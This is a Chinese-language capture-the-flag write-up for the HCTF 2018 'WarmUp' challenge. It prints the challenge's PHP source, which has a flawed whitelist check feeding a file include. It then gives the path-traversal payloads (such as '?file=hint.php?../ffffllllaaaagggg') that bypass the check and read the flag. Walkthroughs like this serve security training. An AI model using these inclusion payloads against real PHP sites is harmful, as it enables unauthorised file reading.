[HCTF 2018]WarmUp
题目页面:
解题步骤:
-
查看源码:
-
源码中注释了source.php,直接访问该页面。
-
在source.php中展示了源代码,下面进行源码分析。
<?php class emmm { public static function checkFile(&$page) { # 构建一个白名单 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { # 如果file的值不存在或者为NULL或者不是字符串。就返回false echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { #如果file的值在白名单中就返回true return true; } $_page = mb_substr( # mb_substr(str,begin,length) 与 substr()函数一样。截取字符串 $page, 0, mb_strpos($page . '?', '?') #$page . '?' 类似 str.join('?') # mb_strpos(string $haystack,string $needle,int $offset = 0,?string $encoding = null): int|false # 返回 string 的 haystack 中 needle 首次出现位置的数值。 如果没有找到 needle,它将返回 false。 ); if (in_array($_page, $whitelist)) { #如果file的值在白名单中就返回true return true; } $_page = urldecode($page); #URL解码 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } # file的值不为空,而且是字符串,还得使用checkFile函数进行判断返回结果为真 if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
-
payload = ?file=hint.php?ffffllllaaaagggg 页面无返回值,也没有报错。说明通过了所有拦截,但是文件不存在或者是空白的。
-
一次尝试 payload = ?file=hint.php?../ffffllllaaaagggg 、payload = ?file=hint.php?../…/ffffllllaaaagggg ,最后获得flag。